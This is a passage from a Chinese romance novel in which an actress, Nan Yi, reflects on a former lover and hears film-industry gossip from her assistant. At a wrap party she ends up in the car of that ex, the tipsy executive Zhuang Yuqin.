南意还是沉默,唇角牵出她这些年最擅长演绎的虚假笑容。 向锦心领神会,叹气,“你老实跟我说,你对以后是怎么想的?” “以后”这两个字乍一听像晦涩难懂的高深词语,短暂的迷茫后,南意摇了摇头,“我跟他不谈过去,也不会有以后。” 当俞钦成为庄俞钦后,他就不再是她的“污点”,相反,她才是他镶金带银华服上一粒芝麻大小的虱子。 她该识趣些,离他远远的,最好能彻底消失在他世界里。 南意也叹气,“不瞒你说,我从来没想过分开五年后,还能在工作场合遇到他,甚至遇到了一次又一次,但我们,真的,已经不适合见面了。” 向锦看着她,一针见血道:“你没放下。” “你从哪看出来我没放下的?” “从你喊他名字看出来。” 一切解释听起来都像狡辩,南意一时不知道如何开口,抿了抿干涩的唇,“这是我的求生意识在作祟。” 她看向窗外,嗓音飘渺似云烟,“这个世界上不会有第二个人,像我记忆里的俞钦一样,会在我遇到危险的时候,义无反顾地奔向我。” - 南意身体没什么大碍,隔天就回到剧组。 和向锦预料的一样,所有人看她的眼神变了些,就连在她面前趾高气扬的制片主任都变得“恭敬”不少。 也有人旁敲侧击问她和嘉樾那位是什么关系。 南意装傻充愣:“他除了是我的救命恩人外,还能跟我有什么关系?” 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“昨晚陈潇助理在群里抱怨说陈潇半夜让他开车去十几公里外的24小时咖啡店买冰美式,结果他助理买完回来,他又使唤他去买几个橙子……一会要咖啡消肿,一会又吃橙子让自己水肿,姐,你说陈潇他脑子是不是有病?” 南意眯了眯眼,煞有其事地接了句:“他可能突然想喝醇正的橙C美式了吧。” 小琦被逗得捧腹大笑,好半会才切入第二个八卦,这次的主人公其中一位是销声匿迹近两年的实力派小生,“他今天不是上热搜了吗?说是拿到了《罗浮梦》的男二角色,至于怎么拿到的,也是相当不可思议。” 南意放下手机,神情专注些。 “有天聚餐后,他开车送了制片公司一位女领导回酒店,女领导一开心,转头给了他试镜的机会,可姐你知道他是怎么哄那女领导开心的吗?” “他怎么哄的我不知道,你说话大喘气是肯定的了。” 小琦嘿嘿笑,“他在开车的路上给那女领导来了段单口相声。” 南意怀疑自己听错了。 小琦解释:“那女领导不好美色,不爱美酒,平时就喜欢听单口相声,他这也算专业对口了。” 南意默了默,“你说的这领导是不是怀诚制片高管林薇?” “好像就是她。” “那巧了,《蝴蝶里》也有这家投资。” 更巧的是,今晚她也参加了杀青宴。 南意用半开玩笑的语气说:“你说我要是效仿他,去给这领导当回代驾,是不是也能拿到一部S+女二啊?” “真要去啊?” “半真半假吧,”南意曲指敲她额头,“她主动提出让我载她一程,我会答应,毕竟机会不要白不要,要是不能便宜我,也会便宜其他人。” 她现在比谁都需要一个机会,正好这位领导还是个只爱听人讲相声的正人君子,也正好她之前接过一个相声演员的角色,专门去学过,水平差不到哪去,保准逗得这位领导苹果肌掉不下来。 南意掐着点回到会所,在过道遇到制片主任,对方端着架子说:“小南啊,我记得你车开得挺好的,林总今晚喝了酒没法开车,需要有人送她回酒店,听说你会单口相声后,她指名想让你来,你看你能不能送她一程。” 天上这就掉馅饼了? 南意摁下心头的不可置信,爽快应了声“行”。 主任拿起手机看了眼,“林总已经在地下停车场等着了,停在A区,车是黑色宾利,车前灯开着,你应该很容易找到。” 南意循着这些信息找到主任说的那辆车,弯腰敲了敲漆黑的车窗,打了声招呼后表明来意。 车窗降下,露出一张足够让她错愕的脸,算起时间,她已经将近一周没见到他了。 敢情这群人合起伙来给她下套? 果然,天下没有免费的午餐,天上掉馅饼这事更是与她无缘。 南意暗暗吸了口气,这回没再刻意避开“庄总”这个让他不喜的称呼。 “不好意思庄总,我好像认错车了,这就离开。” 假惺惺的笑容还没卸下,她的退路被堵了个严实,正是循着动静找来的林薇。 林薇视线在两人身上逡巡,笑说:“庄总,南意是我特地要来的,可不能被你半道劫走。” 这话一出,南意立刻反应过来所谓的下套纯属她在自作多情。 “我也缺个司机,林总监为什么不能成人之美?” 这句太不像庄俞钦会说的,南意借着灯光,看到他脸颊的薄红,空气里的酒精味也不浅。 他这是喝了多少酒? 怎么就开始口不择言了? 林薇得罪不起庄家现任掌权人,但又不敢把南意扔到对方车上,权衡利弊后,找了个借口跟南意互加微信,又给她发去一条消息:【庄总不是个会乱来的,但你也要保护好自己。】 南意回了个“好”的表情包。 林薇收起手机,看向庄俞钦,“那庄总仅此一次,下不为例啊。” 然后拍拍南意的肩膀,“有机会再跟我讲段相声。” 南意笑说:“林总监想听,回头我先在手机上录一段,发到您微信上。” “行,路上小心。” 她稍稍放缓了“小心”两个字,南意看破不说破地含笑应了声,等人走后,才把注意力落回庄俞钦身上。 虚假的说辞张口就来:“庄总,不瞒你说,我已经有段时间没开过车了,车技有点糟糕,还是让我的司机送你回去更安全。” 庄俞钦背着光的瞳仁漆黑如墨,第一次牢牢锁住她没挪开,好半会才开口:“你对别人总是容易心软,为什么偏偏对我这么残忍?”